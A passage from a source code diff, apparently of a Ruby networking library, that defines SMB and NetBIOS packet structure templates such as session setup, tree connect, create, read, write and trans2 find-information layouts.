], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_PKT = self.make_nbs(SMB_CREATE_HDR_PKT) + + + # A SMB template for SMB Create responses + SMB_CREATE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'OpLock', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Action', 0 ], + [ 'uint32v', 'CreateTimeLow', 0 ], + [ 'uint32v', 'CreateTimeHigh', 0 ], + [ 'uint32v', 'AccessTimeLow', 0 ], + [ 'uint32v', 'AccessTimeHigh', 0 ], + [ 'uint32v', 'WriteTimeLow', 0 ], + [ 'uint32v', 'WriteTimeHigh', 0 ], + [ 'uint32v', 'ChangeTimeLow', 0 ], + [ 'uint32v', 'ChangeTimeHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'EOFLow', 0 ], + [ 'uint32v', 'EOFHigh', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint8', 'IsDirectory', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_RES_PKT = self.make_nbs(SMB_CREATE_RES_HDR_PKT) + + # A SMB template for SMB Create ANDX responses + SMB_CREATE_ANDX_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'OpLock', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Action', 0 ], + [ 'uint32v', 'CreateTimeLow', 0 ], + [ 'uint32v', 'CreateTimeHigh', 0 ], + [ 'uint32v', 'AccessTimeLow', 0 ], + [ 'uint32v', 'AccessTimeHigh', 0 ], + [ 'uint32v', 'WriteTimeLow', 0 ], + [ 'uint32v', 'WriteTimeHigh', 0 ], + [ 'uint32v', 'ChangeTimeLow', 0 ], + [ 'uint32v', 'ChangeTimeHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'EOFLow', 0 ], + [ 'uint32v', 'EOFHigh', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint8', 'IsDirectory', 0 ], + [ 'string', 'VolumeGUID', 16, '', "\x00"], + [ 'uint64v', '64bitFID', 0 ], + [ 'uint32v', 'MaxAccess', 0 ], + [ 'uint32v', 'GuestAccess', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_ANDX_RES_PKT = self.make_nbs(SMB_CREATE_ANDX_RES_HDR_PKT) + + # A SMB template for SMB Write requests + SMB_WRITE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Offset', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'WriteMode', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'DataLenHigh', 0 ], + [ 'uint16v', 'DataLenLow', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint32v', 'DataOffsetHigh', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_WRITE_PKT = self.make_nbs(SMB_WRITE_HDR_PKT) + + + # A SMB template for SMB Write responses + SMB_WRITE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'CountLow', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'CountHigh', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_WRITE_RES_PKT = self.make_nbs(SMB_WRITE_RES_HDR_PKT) + + + # A SMB template for SMB OPEN requests + SMB_OPEN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint16v', 'Access', 0 ], + [ 'uint16v', 'SearchAttributes', 0 ], + [ 'uint16v', 'FileAttributes', 0 ], + [ 'uint32v', 'CreateTime', 0 ], + [ 'uint16v', 'OpenFunction', 0 ], + [ 'uint32v', 'AllocSize', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Reserved3', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_OPEN_PKT = self.make_nbs(SMB_OPEN_HDR_PKT) + + + # A SMB template for SMB OPEN responses + SMB_OPEN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint16v', 'FileAttributes', 0 ], + [ 'uint32v', 'WriteTime', 0 ], + [ 'uint32v', 'FileSize', 0 ], + [ 'uint16v', 'FileAccess', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint32v', 'ServerFileID', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_OPEN_RES_PKT = self.make_nbs(SMB_OPEN_RES_HDR_PKT) + + + # A SMB template for SMB Close requests + SMB_CLOSE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'LastWrite', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CLOSE_PKT = self.make_nbs(SMB_CLOSE_HDR_PKT) + + + # A SMB template for SMB Close responses + SMB_CLOSE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CLOSE_RES_PKT = self.make_nbs(SMB_CLOSE_RES_HDR_PKT) + + + # A SMB template for SMB Delete requests + SMB_DELETE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'SearchAttribute', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'uint8', 'BufferFormat', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_DELETE_PKT = self.make_nbs(SMB_DELETE_HDR_PKT) + + + # A SMB template for SMB Delete responses + SMB_DELETE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_DELETE_RES_PKT = self.make_nbs(SMB_DELETE_RES_HDR_PKT) + + + + # A SMB template for SMB Read requests + SMB_READ_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Offset', 0 ], + [ 'uint16v', 'MaxCountLow', 0 ], + [ 'uint16v', 'MinCount', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint32v', 'MaxCountHigh', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_READ_PKT = self.make_nbs(SMB_READ_HDR_PKT) + + + # A SMB template for SMB Read responses + SMB_READ_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'DataCompaction', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'DataLenLow', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint32v', 'DataLenHigh', 0 ], + [ 'uint32v', 'Reserved3', 0 ], + [ 'uint16v', 'Reserved4', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_READ_RES_PKT = self.make_nbs(SMB_READ_RES_HDR_PKT) + + SMB_READ_RES_HDR_PKT_LENGTH = SMB_HDR_LENGTH + 26 + + # A SMB template for SMB Search requests + SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'MaxCount', 0 ], + [ 'uint16v', 'Attributes', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT) + + # A template for SMB TRANS2_FIND_FIRST response parameters + SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SID', 0], + ['uint16v', 'SearchCount', 0], + ['uint16v', 'EndOfSearch', 0], + ['uint16v', 'EaErrorOffset', 0], + ['uint16v', 'LastNameOffset', 0] + ) + + # A template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO Find information level + SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'EndOfFile', 0], + ['uint64v', 'AllocationSize', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'FileNameLength', 0], + ['uint32v', 'EaSize', 0], + ['uint8', 'ShortNameLength', 0], + ['uint8', 'Reserved', 0], + ['string', 'ShortName', 24, '', "\x00"], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH = 94 + + # A template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO Find information level + SMB_FIND_FILE_NAMES_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'FileNameLength', 0], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH = 12 + + # A template for SMB_FIND_FILE_FULL_DIRECTORY_INFO Find information level + SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'EndOfFile', 0], + ['uint64v', 'AllocationSize', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'FileNameLength', 0], + ['uint32v', 'EaSize', 0], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH = 68 + + # A template for SMB FIND_FIRST2 TRANS2 response parameters + SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'EaErrorOffset', 0] + ) + + # A template for SMB_QUERY_FILE_NETWORK_INFO query path information level + SMB_QUERY_FILE_NETWORK_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'AllocationSize', 0], + ['uint64v', 'EndOfFile', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'Reserved', 0] + ) + + SMB_QUERY_FILE_NETWORK_INFO_HDR_LENGTH = 56 + + # A template for SMB_QUERY_FILE_BASIC_INFO query path information level + SMB_QUERY_FILE_BASIC_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'Reserved', 0] + ) + + SMB_QUERY_FILE_BASIC_INFO_HDR_LENGTH = 40 + + # A template for SMB_QUERY_FILE_STANDARD_INFO query path information level + SMB_QUERY_FILE_STANDARD_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint64v', 'AllocationSize', 0], + ['uint64v', 'EndOfFile', 0], + ['uint32v', 'NumberOfLinks', 0], + ['uint8', 'DeletePending', 0], + ['uint8', 'Directory', 0] + ) + + SMB_QUERY_FILE_STANDARD_INFO_HDR_LENGTH = 22 + + # A template for SMB_Data blocks of the SMB_COM_TRANSACTION2 requests + SMB_DATA_TRANS2 = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SubCommand', 0], + ['uint16v', 'ByteCount', 0], + ['string', 'Parameters', nil, ''] + ).create_restraints( + ['Parameters', 'ByteCount', nil, true] + ) + + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 QUERY_PATH_INFO responses + SMB_TRANS2_QUERY_PATH_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'InformationLevel', 0], + ['uint32v', 'Reserved', 0], + ['string', 'FileName', nil, ''] ) -end + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 QUERY_FILE_INFO responses + SMB_TRANS2_QUERY_FILE_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'FID', 0], + ['uint16v', 'InformationLevel', 0] + ) -# A raw NetBIOS session template -NBRAW_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'string', 'Payload', nil, ''] -) -NBRAW_PKT = self.make_nbs(NBRAW_HDR_PKT) - - -# The SMB header template -SMB_HDR = Rex::Struct2::CStructTemplate.new( - [ 'uint32n', 'Magic', 0xff534d42 ], - [ 'uint8', 'Command', 0 ], - [ 'uint32v', 'ErrorClass', 0 ], - [ 'uint8', 'Flags1', 0 ], - [ 'uint16v', 'Flags2', 0 ], - [ 'uint16v', 'ProcessIDHigh', 0 ], - [ 'uint32v', 'Signature1', 0 ], - [ 'uint32v', 'Signature2', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'TreeID', 0 ], - [ 'uint16v', 'ProcessID', 0 ], - [ 'uint16v', 'UserID', 0 ], - [ 'uint16v', 'MultiplexID', 0 ], - [ 'uint8', 'WordCount', 0 ] -) - - -# The SMB2 header template -SMB2_HDR = Rex::Struct2::CStructTemplate.new( - [ 'uint32n', 'Magic', 0xfe534d42 ], - [ 'uint16v', 'HeaderLen', 64 ], - [ 'uint16v', 'Reserved0', 0 ], - [ 'uint32v', 'NTStatus', 0 ], - - [ 'uint16v', 'Opcode', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - - [ 'uint16v', 'Flags1', 0 ], - [ 'uint16v', 'Flags2', 0 ], - - [ 'uint32v', 'ChainOffset', 0 ], - - [ 'uint32v', 'SequenceHigh', 0 ], - [ 'uint32v', 'SequenceLow', 0 ], - - [ 'uint32v', 'ProcessID', 0 ], - [ 'uint32v', 'TreeID', 0 ], - [ 'uint32v', 'UserIDHigh', 0 ], - [ 'uint32v', 'UserIDLow', 0 ], - - [ 'uint32v', 'SignatureA', 0 ], - [ 'uint32v', 'SignatureB', 0 ], - [ 'uint32v', 'SignatureC', 0 ], - [ 'uint32v', 'SignatureD', 0 ], - [ 'string', 'Payload', nil, ''] -) - -# A basic SMB template to read all responses -SMB_BASE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_BASE_PKT = self.make_nbs(SMB_BASE_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation -SMB_NEG_HDR_PKT = Rex::Struct2::CStructTemplate.new( - - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NEG_PKT = self.make_nbs(SMB_NEG_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (LANMAN) -SMB_NEG_RES_LM_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint16v', 'SecurityMode', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'MaxVCS', 0 ], - [ 'uint16v', 'RawMode', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'DosTime', 0 ], - [ 'uint16v', 'DosDate', 0 ], - [ 'uint16v', 'Timezone', 0 ], - [ 'uint16v', 'KeyLength', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'EncryptionKey', nil, '' ] -).create_restraints( - [ 'EncryptionKey', 'ByteCount', nil, true ] -) -SMB_NEG_RES_LM_PKT = self.make_nbs(SMB_NEG_RES_LM_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (NTLM) -SMB_NEG_RES_NT_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint8', 'SecurityMode', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'MaxVCS', 0 ], - [ 'uint32v', 'MaxBuff', 0 ], - [ 'uint32v', 'MaxRaw', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint32v', 'SystemTimeLow', 0 ], - [ 'uint32v', 'SystemTimeHigh', 0 ], - [ 'uint16v', 'ServerTimeZone', 0 ], - [ 'uint8', 'KeyLength', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NEG_RES_NT_PKT = self.make_nbs(SMB_NEG_RES_NT_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (ERROR) -SMB_NEG_RES_ERR_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint16v', 'ByteCount', 0 ] -) -SMB_NEG_RES_ERR_PKT = self.make_nbs(SMB_NEG_RES_ERR_HDR_PKT) - - -# A SMB template for SMB Session Setup responses (LANMAN/NTLMV1) -SMB_SETUP_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_RES_PKT = self.make_nbs(SMB_SETUP_RES_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (LANMAN) -SMB_SETUP_LANMAN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'PasswordLen', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_LANMAN_PKT = self.make_nbs(SMB_SETUP_LANMAN_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (NTLMV1) -SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'PasswordLenLM', 0 ], - [ 'uint16v', 'PasswordLenNT', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (When extended security is being used) -SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'SecurityBlobLen', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT) - - -# A SMB template for SMB Session Setup responses (When extended security is being used) -SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint16v', 'SecurityBlobLen', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV2_RES_PKT = self.make_nbs(SMB_SETUP_NTLMV2_RES_HDR_PKT) - - -# A SMB template for SMB Tree Connect requests -SMB_TREE_CONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint16v', 'PasswordLen', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_CONN_PKT = self.make_nbs(SMB_TREE_CONN_HDR_PKT) - - -# A SMB template for SMB Tree Connect requests -SMB_TREE_CONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'OptionalSupport', 0 ], - [ 'string', 'SupportWords', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_CONN_RES_PKT = self.make_nbs(SMB_TREE_CONN_RES_HDR_PKT) - - -# A SMB template for SMB Tree Disconnect requests -SMB_TREE_DISCONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_DISCONN_PKT = self.make_nbs(SMB_TREE_DISCONN_HDR_PKT) - - -# A SMB template for SMB Tree Disconnect requests -SMB_TREE_DISCONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_DISCONN_RES_PKT = self.make_nbs(SMB_TREE_DISCONN_RES_HDR_PKT) - - -# A SMB template for SMB Transaction requests -SMB_TRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'ParamCountMax', 0 ], - [ 'uint16v', 'DataCountMax', 0 ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint32v', 'Timeout', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS_PKT = self.make_nbs(SMB_TRANS_HDR_PKT) - - -# A SMB template for SMB Transaction responses -SMB_TRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'ParamDisplace', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint16v', 'DataDisplace', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved2', 0 ], - [ 'string', 'SetupData', nil, 